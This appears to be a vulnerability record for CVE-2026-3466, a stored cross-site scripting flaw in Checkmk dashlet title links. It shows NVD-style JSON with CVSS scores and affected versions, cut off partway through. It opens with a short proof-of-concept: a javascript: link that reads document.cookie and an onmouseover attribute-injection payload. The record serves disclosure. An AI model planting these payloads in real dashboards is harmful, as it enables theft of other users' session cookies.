CVE-2026-3466

<!-- PoC for Stored XSS in Checkmk Dashlet Title Link --> <!-- Attacker injects the following payload into the dashlet title link field --> <a href="javascript:alert(document.cookie)">Click for Report</a> <!-- Alternatively, using an event handler to trigger on click --> " onmouseover="alert('XSS')"

{"cve": {"id": "CVE-2026-3466", "sourceIdentifier": "[email protected]", "published": "2026-04-07T13:16:47.150", "lastModified": "2026-04-22T13:16:20.263", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient sanitization of dashboard dashlet title links in Checkmk 2.2.0 (EOL), Checkmk 2.3.0 before 2.3.0p46, Checkmk 2.4.0 before 2.4.0p25, and Checkmk 2.5.0 (beta) before 2.5.0 allows an attacker with dashboard creation privileges to perform stored cross-site scripting (XSS) attacks by tricking a victim into clicking a crafted dashlet title link on a shared dashboard."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:-:*:*:*:*:*:*", "matchCriteriaId": "C66704F1-0B5E-4B43-8748-987022F378F8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b1:*:*:*:*:*:*", "matchCriteriaId": "B068974F-6F67-4CBB-B567-FCED86E28F22"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b2:*:*:*:*:*:*", "matchCriteriaId": "EA70F36A-EEF6-48DC-B15E-055D0DE8A052"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b3:*:*:*:*:*:*", "matchCriteriaId": "B2017F38-38DB-4E96-B34F-160BC731CBBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b4:*:*:*:*:*:*", "matchCriteriaId": "0949F399-371B-409C-AF9F-32690D881440"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b5:*:*:*:*:*:*", "matchCriteriaId": "42E1E31A-B5CC-45F2-A2E5-3EEF735499BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b6:*:*:*:*:*:*", "matchCriteriaId": "4B364FCA-500C-458E-B997-82CD0B1D24F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b7:*:*:*:*:*:*", "matchCriteriaId": "0B32E657-917B-482B-B6A4-3D3746992A4F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:b8:*:*:*:*:*:*", "matchCriteriaId": "2119C732-E024-4DA6-8E47-9E08E5E12602"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:i1:*:*:*:*:*:*", "matchCriteriaId": "4F0B99A8-A124-43BD-B8AA-EECC9112346F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p1:*:*:*:*:*:*", "matchCriteriaId": "3FB7221E-BE9F-4529-8E07-8AD547FA3208"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p10:*:*:*:*:*:*", "matchCriteriaId": "30A074AD-9499-46E3-AB67-D6CEE3AA01C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p11:*:*:*:*:*:*", "matchCriteriaId": "A8BD0240-A22B-4273-BD47-C35A8C12E127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p12:*:*:*:*:*:*", "matchCriteriaId": "DAA5680F-1DD0-48AA-BB7F-15B27365F0FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:checkmk:checkmk:2.2.0:p13:*:*:*:*:*:*", "matchCriteriaId": "BC2F31CA-D4EB-44E6-9A09-5255D33F ... (truncated)